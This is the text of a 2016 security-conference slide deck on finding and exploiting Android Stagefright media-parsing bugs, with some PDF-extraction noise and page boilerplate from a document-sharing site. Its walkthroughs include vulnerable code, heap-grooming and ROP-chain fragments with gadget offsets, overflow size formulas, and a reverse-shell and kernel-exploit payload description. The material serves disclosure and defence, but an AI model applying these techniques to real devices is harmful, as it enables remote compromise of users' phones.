Stagefright Isswsdfdsfsd

Lessons Learned from
Researching and
Exploiting Stagefright
Joshua "jduck" Drake
April 9th, 2016
InfoSec Southwest
Agenda
Introduction
Summary of Prior Work
Events Since Disclosure
Including Android N Changes!
Android Exploitability
Exploit Walkthroughs
CVE-2015-1538 - stsc
CVE-2015-3824 - tx3g
CVE-2015-3876 + CVE-2015-6602 - ID3
Conclusions
Lessons Learned from Researching and Exploiting Stagefright InfoSec Southwest 2016
Joshua "jduck" Drake Zimperium Inc. All rights reserved.
Introduction
About the presenter and this research
About Joshua J. Drake aka jduck

Focused on vulnerability research and exploit development
for the past 17 years
Current Ailiations:
Found and initially disclosed "Stagefright"
VP of Platform Research and Exploitation at Zimperium
Lead Author of Android Hacker's Handbook
Founder of the #droidsec research group
Previous Ailiations:
Accuvant Labs (now Optiv), Rapid7 Metasploit, VeriSign
iDefense Labs
Motivations
1. Improve the overall state of mobile security
1. Discover and eliminate critical vulnerabilities
2. Spur mobile so ware update improvements
2. Increase visibility of risky code in Android
3. Put the Droid Army to good use!
While this research has definitely led to improvements big
and small, there is still plenty of work to be done.
You will see what remains in this talk.
Acknowledgements
This work was sponsored by Accuvant Labs (now Optiv) with
continuing support from Zimperium.
&
Special thanks go to Amir Etemadieh of Optiv / Exploiteers.
Additional thanks to Collin Mulliner, Mathew Solnik, and
Daniel Micay.
Thanks to the ISSW organizers for giving me the opportunity
to speak here today!
What is Stagefright?
Android Multimedia Framework library
Written primarily in C++
Handles all video and audio files
Provides playback facilities - e.g. {Nu,Awesome}Player
Extracts metadata for the Gallery, etc.
Now also the name of "a vulnerability" that made waves.1
An attacker could obtain elevated privileges on an
aected Android device, unbeknownst to the victim, with
only a single MMS.
1. https://en.wikipedia.org/wiki/Stagefright_%28bug%29
See my 2015 talk slides for more introductory information. (link at end)
Brief History of Android Multimedia

2008 Oct - Android launched with OpenCORE engine
2009 Oct - libstagefright added to AOSP during 2.0 dev
2010 May - Optionally but o en used in Froyo (2.2)
2010 Dec - Made default in Gingerbread (2.3) and later
libstagefright is open source and under liberal license, so it
could end up in anything. It is used in:
Pretty much all modern devices based on AOSP
Includes many Amazon devices (FireOS)
Except a few that use mpeg (eg, CyanogenMod)
Firefox, Nintendo DS, and the Wii-U (?!).
System Architecture
Android is very modular
Things run in separate
processes
Lots of inter-process
communications
"Sandbox" relies on Linux
users and groups
libstagefright executes inside
"MEDIA SERVER"
Picture from Android Interfaces in the Android Developer documentation
mediaserver Overview
A native system service that runs in the background.
It automatically restarts when it crashes!
Privileges vary per-device-model: high to crazy high
Access to audio, camera, internet, bluetooth on all
Has system group on 50% of devices in the droid army
Has input, shell, or radio on a minority
In short, mediaserver is a very attractive target.
NOTE: See my 2015 talk slides for more system architecture and privilege details. (link at end)
10
Summary of Prior Work

What did you do before disclosure?
11
Scope of My Work
Stagefright is big and supports a wide variety of multimedia
file formats.
However, I believe in focusing in on smaller areas of code
and testing them very well. To settle the dierence, I:
1. Originally focused on only MPEG4 handling
2. Later looked at ID3 and MP3 handling
3. Tested these areas of code in isolation
Further, I only focused on metadata processing (think of
image preview).
I never tested code paths that require playback.
12
Vulnerability Discovery
My strategy: fuzz, analyze, audit, fix bugs, repeat...
Round One: A dumb fuzzer + a tiny MP4 + MediaScanner
Found crashes, but none that looked serious
Discovered 5 vulns reading surrounding code
Round Two: American Fuzzy Lop
Ported code to Linux, Ran on beefy hardware
Found vulns from round one, plus 5 more critical vulns
Discovered some fixes from 5.x were bogus!!
NOTE: See my 2015 talk slides for more details. (link at end)
Use AFL!! http://lcamtuf.coredump.cx/afl/
13
Exploit Development
I wrote two exploits for Stagefright vulnerabilities.
I released one (CVE-2015-1538) last fall.1
An MP4 file generator
Targets Galaxy Nexus on Android 4.0.1
I will release another one (CVE-2015-3824) soon!
Yields remote kernel via the browser and works on:
Nexus 6 running Android 5.1 (LMY47M)
Nexus 5 running Android 5.1.1 (LMY48B)
Will be released as a Metasploit module (contribute!)
We wil discuss these in detail later...
1. https://github.com/jduck/cve-2015-1538-1
14
Events Since Disclosure

What happened a er day zero?
15
Impact on the Industry

This research had a huge positive impact on Android
security. The ecosystem definitely responded.
30 day patch cycles for Google/Nexus
Nexus Security Bulletins monthly since August 2015!
Other OEMs committed to follow suit!
So far only Samsung has public bulletins
Many struggle, HTC claimed "unrealistic"
Some older devices got updates, but many did not.
The long tail of Android updates...
For more information, see Adrian Ludwig's talk from Black
Hat USA 2015.
16
Zimperium Eorts
Zimperium Handset Alliance (ZHA)
Notify shippers of Android simultaneously
Over 25 carriers, OEMs, etc have already joined!
Stagefright Detector App
Released shortly before BlackHat USA 2015
Tests devices for 9 CVEs non-intrusively
Anonymous data collected, see recent blog post
10 additional vulns reported (including Stagefright 2.0)
CTS tests created and upstreamed
Detection capabilities added to our products
More to come...
17
Android Security Rewards

Android announced their VRP in June 2015
Pays for vulnerabilities, patches, exploits, and CTS tests
The more you provide, the more they will pay
Potential to receive up to $38,000 per bug !!
My third round and follow-up work qualified
Original reports did not qualify
Got bounties from Mozilla and Blackphone/Bugcrowd
Total bounty from Stagefright: mid-5 figures..
Pssst. I heard there will be a #StageFright sponsored party at BSidesLV this year.
Bug bounty money for the win! #bbm w
18
Community Eorts
The security researcher community really stepped up!
Total as of April 2016:
69 CVEs, 110 ANDROID-ids, 132 Patches
Critical: 39 CVEs, 64 ANDROID-ids, 77 Patches
High: 27 CVEs, 41 ANDROID-ids, 50 Patches
Low: 3 CVEs, 5 ANDROID-ids, 5 Patches
Other great content too!
Several write-ups
Wooyun, Fortinet, Exodus, NCC Group, NorthBit
3+ Exploits published
Ours, Project Zero, NorthBit Metaphor
19
Observations from 8 Months of NSB

1. Only some issues in mediaserver are RCE, the rest are EoP.
EoP bugs usually require a malicious application (meh)
2. Information Disclosure issues definitely exist!
Unclear if any could be usable for a remote exploit
Ask yourself: Is information leaked? Where to?
3. Some vulnerabilities live in libraries that libstagefright
depends on!
OH NO! BUGS ALL THE WAY DOWN!
20
Android N Changes
Google split mediaserver into multiple components!
audioserver
cameraserver
mediacodec
mediadrm
mediaex
media
565
566
571
572
573
574
1
1
1
1
1
1
60448
16160
33680
16720
41840
60800
9100
3472
4576
3672
4740
8392
... S /system/bin/audioserver
... S /system/bin/cameraserver
... S media.codec
... S /system/bin/mediadrmserver
... S media.extractor
... S /system/bin/mediaserver
This is a great improvement for security!

Reduces attack surface of each component
Enhanced privilege reduction
Codecs and Extractors no longer have internet access!
angler:/data/local/tmp $ ./privmap -p "media."
[*] pid: 571, cmd: media.codec mediacodec, perms: uid=1046(mediacodec),
gid=1006(camera), groups=1026(drmrpc), 1031(mediadrm)
[*] pid: 573, cmd: media.extractor aextractor, perms: uid=1040(mediaex),
gid=1026(drmrp
c), gr
oup
s=1Drake
031
ediad
rAll
m)
Joshua
"jduck"
(
m
Zimperium
Inc.
rights reserved.
21
Android Exploitability
What stands in the way?
22
Android Device Diversity

Diversity in the Android ecosystem complicates research,
but is not a significant barrier to exploitation.
Exploiting a device usually requires porting/testing perdevice-model.
However, automation makes cra ing a device-specific
exploit rather simple.
Extract and use key details from each firmware version
BTW, Android browsers are very revealing:
Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47M)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84
Mobile Safari/537.36
23
Crucial Components
Certain system properties are critical to understand for
exploitation.
ASLR Quality (entropy) - kernel
Heap implementation details - libc
It is diicult (some argue impossible) to eliminate all
vulnerabilities in a code base.
Hardening critical system components can preventing
successful attacks.
Other system-wide mitigations exist and can help too...
24
Mitigation Summary
Mitigation
Applicability
SELinux
N/A 1
Stack Cookies
N/A
FORTIFY_SOURCE
N/A
ASLR
only Android >= 4.1
NX
bypass with ROP
GCC new[] mitigation
N/A 2
1. Only comes into play on some devices and only a er achieving arbitrary code execution.
2. Only aects some of the vulnerabilities. It still leads to DoS.
25
Address Space Layout Randomization

ASLR is the ONLY challenge, and it is not that hard.
I managed to fully bypass ASLR on ICS and Lollipop.
Information leakage issues
Heap spraying
Address space is usually only 32-bits
On 64-bit devices, mediaserver remains 32-bit :-/
Other virtual memory tricks
Bruteforce or statistical guessing
These tricks are simple but very eective.
26
Newer Heap is Weaker

Android Lollipop (5.x) uses jemalloc instead of dlmalloc
This new heap implementation is weaker in two ways.
1. Less entropy in heap addresses
Easier to guess where your data is in memory
2. No more in-line meta-data
dlmalloc checks for corrupt metadata
Detected corruption leads to a crash
As a result, exploiting Lollipop/Marshmallow is easier than
older versions.
27
Exploit Walkthrough I
CVE-2015-1538 - MP4 stsc Integer Overflow
28
CVE-2015-1538 I: Root Cause

The vulnerability is an Integer Overflow when allocating the
mSampleToChunkEntries array in setSampleToChunkParams.
204 status_t SampleTable::setSampleToChunkParams(
205
off64_t data_offset, size_t data_size) {
...
227
mNumSampleToChunkOffsets = U32_AT(&header[4]);
...
233
mSampleToChunkEntries =
234
new SampleToChunkEntry[mNumSampleToChunkOffsets];
A large mNumSampleToChunkOsets won't allocate enough!

2^32 / sizeof(SampleToChunkEntry) == 0x15555555
(0x15555555 + 1) * 12 == 8
// 12 bytes per
// OOPS!
This isn't enough to be vulnerable... How is the array used?

From android-4.0.4_r1.2 (IMM76I) - frameworks/base / media/libstagefright/SampleTable.cpp
29
CVE-2015-1538 II: Consequence

Depending on loop bounds, it might cause a heap overflow.
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {

uint8_t buffer[12];
if (mDataSource->readAt(
mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))
!= (ssize_t)sizeof(buffer)) {
return ERROR_IO;
}
CHECK(U32_AT(buffer) >= 1); // chunk index is 1 based in spec
// We want the chunk index to be 0-based.
mSampleToChunkEntries[i].startChunk = U32_AT(buffer) - 1;
mSampleToChunkEntries[i].samplesPerChunk = U32_AT(&buffer[4]);
mSampleToChunkEntries[i].chunkDesc = U32_AT(&buffer[8]);
}
What does that leave us with?

From android-4.0.4_r1.2 (IMM76I) - frameworks/base / media/libstagefright/SampleTable.cpp
30
CVE-2015-1538 III: Primitives

Let us summarize:
1. The buer can be allocated too small.
2. The copy loop copies one entry at a time, bounded by the
huge number.
3. Failing to read an entry terminates processing
This is both bad and good.
Good: We will not crash looping forever
Good: We can stop processing when we want
Bad: We lose control of the parser (one shot)
4. The first U32 of any entry cannot be zero or we crash.
We can write zero, but not 0x
31
CVE-2015-1538 IV: What to smash?

My usual (but naive) methodology here is as follows:
1. Hook up a debugger
2. Experiment with allocation size & overflow amount
3. See how the process crashes
4. Note frequency of each dierent crash
5. See how each crash might be exploited
In order of most frequent to least frequent
There were many crashes from heap corruption :-/
Ultimately utilized a technique first published in Jann Horn's
CVE-2014-7911 exploit (RefBase::decStrong).
32
CVE-2015-1538 V: Heap Feng Shui

Reliable exploitation of heap-base vulnerabilities is a
function of deterministic heap layout.
Unfortunately, heap usage in mediaserver is rather noisy and
somewhat unpredictable.
People o en use a pattern of allocations and frees to prime
the heap state, hence feng shui.
Unfortunately, limited opportunities exist for freeing data.
But there are some!
See: Heap Feng Shui in JavaScript by Alexander Sotirov
33
CVE-2015-1538 VI: Heap Feng Shui II

MetaData items are freed/re-allocated if they need to grow.
# Now the ones that give full control + replacement
make_chunk('\xa9alb', make_chunk('data', ... + block)) +
make_chunk('\xa9ART', make_chunk('data', ... + block)) +
make_chunk('aART',
make_chunk('data', ... + block)) +
make_chunk('\xa9day', make_chunk('data', ... + block)) +
make_chunk('\xa9nam', make_chunk('data', ... + block)) +
make_chunk('\xa9wrt', make_chunk('data', ... + block)) +
make_chunk('gnre',
make_chunk('data', ... + block)) +
...
# Free the some by making them larger..
make_chunk('\xa9ART', make_chunk('data', ... + bigger)) +
make_chunk('\xa9wrt', make_chunk('data', ... + bigger)) +
make_chunk('\xa9day', make_chunk('data', ... + bigger)))
The goal of this dance is to make ourselves a free block just

before a Track object, which contains RefBase objects.
Lines from my CVE-2015-1538 exploit
34
CVE-2015-1538 VI: Heap Feng Shui III

Reliability in one attempt is not great (~20%) due to the
unpredictable noise.
However, if we succeed, we get control of a RefBase object!
RefBase::decStrong+2>:
ldr r4, [r0, #4] ; load mRefs

mov r5, r0
mov r6, r1
mov r0, r4
blx 0x40069884
; atomic_decrement
cmp r0, #1
; must be 1
bne.n function_exit
ldr r0, [r4, #8] ; load refs->mBase
ldr r1, [r0, #0] ; load mBase._vptr
ldr r2, [r1, #12] ; load method address
mov r1, r6
blx r2
; call it!
If we manage to navigate these dereferences, we get pc

control! By controlling the values... But how?
35
CVE-2015-1538 VII: Heap Spray!

We need to control the RefBase members to get pc control.
Let's spray the heap! We can take advantage of these facts:
1. We can make huge, contiguous blocks of memory filled
with whatever we want.
2. We can rely on large allocations being aligned on a page
bounday (4096 bytes).
Large allocations are serviced with mmap directly.
To reach our goal, we:
1. Create a page sized area and repeat it lots of times.
2. Try to guess an address that falls within.
36
CVE-2015-1538 VIII: ROP

ROP chain is simple because the linker is not randomized:
__dl_restore_core_regs:
b0002850:
e2801034
b0002854:
e8910038
b0002858:
e92d0038
b000285c:
e8900fff
b0002860:
e89de000
pop_pc:
b0002a98:
e8bd8000
pop_r0_thru_r4_pc:
b00038b2:
bd1f
mprotect:
b0001144:
e92d0090
b0001148:
e3a0707d
b000114c:
ef000000
b0001150:
e8bd0090
b0001154:
e1b00000
b0001158:
512fff1e
; pivot the stack

add
r1, r0, #52
; 0x34
ldm
r1, {r3, r4, r5}
push
{r3, r4, r5}
ldm
r0, {r0-r9, sl, fp}
ldm
sp, {sp, lr, pc}
; pop pc...
ldmfd sp!, {pc}
; load args for mprotect
pop
{r0, r1, r2, r3, r4, pc}
; call mprotect
push
{r4, r7}
mov
r7, #125
; 0x7d
svc
0x00000000
pop
{r4, r7}
movs
r0, r0
bxpl
lr
Only four gadgets to make our payload RWX!

37
CVE-2015-1538 IX: Payload

In this exploit, the payload was simple a modified
linux/armle/shell_reverse_tcp from Metasploit.
The modifications were:
1. Call fork to excape from the original mediaserver process
2. Exit the original mediaserver process
3. Call setsid to create a new session
4. Pass a sane environment when executing our shell
These changes prevent hanging mediaserver and make the
resulting shell much more friendly.
38
Exploit Walkthrough II
CVE-2015-3824 - MP4 tx3g Integer Overflow
39
CVE-2015-3824 I: Root Cause

The vulnerability is an Integer Overflow when allocating
buer in the 'tx3g' handling within MPEG4 parseChunk.
762 status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {
...
1886
case FOURCC('t', 'x', '3', 'g'):
...
1891
if (!mLastTrack->meta->findData(
1892
kKeyTextFormatData, &type, &data, &size)) {
...
1896
uint8_t buffer = new (std::nothrow) uint8_t[size + chunk_size];
...
1915
mLastTrack->meta->setData(
1916
kKeyTextFormatData, 0, buffer, size + chunk_size);
The size value is accumulated in MetaData. A second 'tx3g'

atom can make size + chunk_size wrap. How is buer used?
From android-5.1.0_r4 (LMY47M) - frameworks/av / media/libstagefright/MPEG4Extractor.cpp
40
CVE-2015-3824 II: Consequence

For each 'tx3g' chunk, the data is appended to a temporary
buer (buer) and then saved into the MetaData.
1901
1902
1903
1904
1905
if (size > 0) {
memcpy(buffer, data, size);
}
if ((size_t)(mDataSource->readAt(*offset, buffer + size,
chunk_size))
We control all the variables!

This bug even allows us to control the allocation size and
overflow length independently!
26
27
size = num_write - 8
chunk_size = 0xffffffff - num_write + num_alloc + 1
41
CVE-2015-3824 III: What to smash?

Experimentation yielded some interesting crashes.
The most interesting involved a smashed mDataSource.
Used for a virtual function call just a er the overflow!
1905
if ((size_t)(mDataSource->readAt(*offset, buffer + size,

chunk_size))
We control the values or contents of almost all of the

parameters to the function too!
BONUS! No more crashes from heap corruption detection
because jemalloc has no inline heap metadata to check.
42
CVE-2015-3824 IV: Heap Feng Shui

For a reliable exploit, we need buer before mDataSource
consistently.
Luckily, jemalloc also makes heap feng shui easier too. See
the paper on it for more details.1
'covr' #1 - alloc chunk near size of an MPEG4DataSource
'stbl' - alloc an MPEG4DataSource and set to mDataSource
'covr' #2 - free first 'covr', making a free hole
'tx3g' #1 - alloc chunk w/overflow data/size
'tx3g' #2 - alloc buer into hole, overflow it
1. Exploiting the jemalloc Memory Allocator, Patroklos Argyroudis and Chariton Karamitas
43
CVE-2015-3824 V: Heap Spray!

If all goes well, we smahed mDataSource and control:
all member variables
the virtual function table pointer
To reduce guessing, we point it to a heap spray!
Same strategy as CVE-2015-1538 exploit
As before, a single large chunk
jemalloc still falls back to mmap
Used a 16MB 'avcC' chunk
~99% predictable in testing!
44
CVE-2015-3824 VI: Stack Pivot I

We have control of pc, but where do we point it?
Android 4.1+ no longer have predictable linker
Guessing libc is apparently 1 in 256 (< 1%)
Daniel Micay (of CopperheadOS) recommended abusing a
library loaded by dlopen
Address space would already be stabilized
Chose the largest library
libWVStreamControlAPI_L1.so - 2.4MB
Could spray more constrain more? (untested)
Result: ~38% success rate per single attempt
45
CVE-2015-3824 VI: Stack Pivot II

The stack pivot is significantly more complicated.
Executes in three (!!) stages instead of one.
# ldr r2, [r0, #8] ; ldr r3, [r2, #0x28] ; blx r3
mds_pivot1 = mod_base + 0x179202+1
# ldm.w r2!, {r8, sb, sl, fp, ip, sp, pc}
mds_pivot2 = mod_base + 0xc8558+1
# pop {r4, r5, r6, pc}
mds_adjust = mod_base + 0xdbd78+1
This complicated dance launches the ROP chain.
46
CVE-2015-3824 VII: ROP Chain

ROP Stager to make shellcode RWX and run it, like the -1538
exploit, but dierent...
Also based on the Widevine streaming library
Works around ASLR by resolving the libc base
Resolves mprotect from the socket GOT entry
rop += struct.pack('<L', mod_base + ropdict['pop0123'])
rop += struct.pack('<L', mod_base + ropdict['socket_got'])
rop += struct.pack('<L', ropdict['libc_socket'])
rop += struct.pack('<L', ropdict['libc_mprotect'])
scratch_addr = spray_addr + 0xfe0
rop += struct.pack('<L', scratch_addr) # r3, libc base
# Modify the address to point to mprotect in libc
rop += struct.pack('<L', mod_base + ropdict['deref_r0'])
rop += struct.pack('<L', mod_base + ropdict['subr0r1'])
# Save the libc base address in scratch memory
rop += struct.pack('<L', mod_base + ropdict['strr0r3'])
rop += struct.pack('<
L',
moDrake
d_b
e+r
oAll
pd
ic
t['addem'])
Joshua
"jduck"
a
s
Zimperium
Inc.
rights
reserved.
47
CVE-2015-3824 VIII: Payload

Nexus devices on 5.x+ have SELinux in enforcing mode.
mediaserver policy does not allow execve :-/
no shell for you!
Not the case on all Android devices (ahem Samsung)
I developed a kernel exploit (CVE-2015-3636) as a payload!
Wrote in C first
Translated to assembly from objdump output
That sucked, use gcc -S instead!
Sets SELinux to permissive mode
Remote kernel FTW! Demo?
48
A note on CVE-2015-3864
I missed that chunk_size is 64-bit and can be above 2^32.
Using such a value, it was possible to bypass my check:
1896
1897
1898
if (SIZE_MAX - chunk_size <= size) {

return ERROR_MALFORMED;
}
Exploiting CVE-2015-3864 instead of -3824 is a minor change:

+
+
chunk_size = 0xffffffff - num_write + num_alloc + 1

tx3g2 = (pack('>L', chunk_size)+'tx3g') + tx3g2data
chunk_size = 0x1ffffffff - num_write + num_alloc + 1
tx3g2 = (pack('>L', 1)+'tx3g') + (pack('>Q', chunk_size)+tx3g2data)
You get an extra month worth of vulnerable firmware.

The Metasploit module will use CVE-2015-3864...
49
On CVE-2015-3876 + CVE-2015-6602
Is "Stagefright 2.0" exploitable?
50
On CVE-2015-3876 + CVE-2015-6602
Two CVEs assigned
CVE-2015-3876 in ID3 parsing code (MP3 or MP4)
Ended up passing -1 to a String8 constructor
CVE-2016-6602 in libutils String8::allocFromUTF8
Took the length, added one, allocated memory
The vulnerable primitive is a bit annoying:
buffer = malloc(0);
memcpy(buffer, user_input, -1);
buffer[-1] = 0;
51
-3876 + -6602 Feasibility

However! Android devices are weird.
Testing showed dierent devices behaved dierently when
-1 is passed as the length for memcpy.
Basically two groups:
1. Essentially boundless copy loop
2. Wrote 3 bytes only
Calling code writes a NUL to buf[-1] on return
The first group is not really surprising, but the second group
is unexpected!
52
-3876 + -6602 Feasibility II

mediaserver is multi-threaded
Even a wild copy loop can be exploited if...
1. Something gets corrupted and then used before crash
2. A signal handler operates on corrupt data
3. ??
Statistically this is doable.
Witnessed crash with pc control
High reliability seems unachievable.
No working exploit was written. (yet?)
53
Conclusions
What are the key takeaways?
54
Final Conclusions
1. Take care when changing heap implementations.
Changes here can weaken your security posture.
2. Thinking outside the box can make your exploit better!
Controlling the environment can influence your target!
3. Diversity is a thorn, but can be dealt with
Android Browser user agents are very helpful!
4. Mitigations are not a silver bullet
Especially when multiple attempts are possible
5. Vendors using Android need to
Be more proactive in finding / fixing flaws
Be more aggressive in deploying fixes
6. The Android code base needs more attention. BBMFTW!
55
Thanks for your time!

Any questions?
My 2015 Talk Slides: http://j.mp/stagefright-slides
Prefer to ask oline? Contact me:
Joshua J. Drake
jdrake@zimperium.com
jduck @ Twitter/IRC
www.droidsec.org
56
the real end. really.
57

Stagefright Isswsdfdsfsd

Încărcat de

Informații document

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

Stagefright Isswsdfdsfsd

Încărcat de

Drepturi de autor:

Formate disponibile

Lessons Learned from

About Joshua J. Drake aka jduck

Brief History of Android Multimedia

Summary of Prior Work

Events Since Disclosure

Impact on the Industry

Android Security Rewards

Observations from 8 Months of NSB

This is a great improvement for security!

Android Device Diversity

only Android >= 4.1

bypass with ROP

GCC new[] mitigation

Address Space Layout Randomization

Newer Heap is Weaker

CVE-2015-1538 I: Root Cause

A large mNumSampleToChunkOsets won't allocate enough!

This isn't enough to be vulnerable... How is the array used?

CVE-2015-1538 II: Consequence

for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {

What does that leave us with?

CVE-2015-1538 III: Primitives

CVE-2015-1538 IV: What to smash?

CVE-2015-1538 V: Heap Feng Shui

CVE-2015-1538 VI: Heap Feng Shui II

The goal of this dance is to make ourselves a free block just

CVE-2015-1538 VI: Heap Feng Shui III

ldr r4, [r0, #4] ; load mRefs

If we manage to navigate these dereferences, we get pc

CVE-2015-1538 VII: Heap Spray!

CVE-2015-1538 VIII: ROP

; pivot the stack

Only four gadgets to make our payload RWX!

CVE-2015-1538 IX: Payload

CVE-2015-3824 I: Root Cause

The size value is accumulated in MetaData. A second 'tx3g'

CVE-2015-3824 II: Consequence

We control all the variables!

CVE-2015-3824 III: What to smash?

if ((size_t)(mDataSource->readAt(*offset, buffer + size,

We control the values or contents of almost all of the

CVE-2015-3824 IV: Heap Feng Shui

CVE-2015-3824 V: Heap Spray!

CVE-2015-3824 VI: Stack Pivot I

CVE-2015-3824 VI: Stack Pivot II

This complicated dance launches the ROP chain.

CVE-2015-3824 VII: ROP Chain

CVE-2015-3824 VIII: Payload

if (SIZE_MAX - chunk_size <= size) {

Exploiting CVE-2015-3864 instead of -3824 is a minor change:

chunk_size = 0xffffffff - num_write + num_alloc + 1

You get an extra month worth of vulnerable firmware.

-3876 + -6602 Feasibility

-3876 + -6602 Feasibility II

Thanks for your time!

the real end. really.

S-ar putea să vă placă și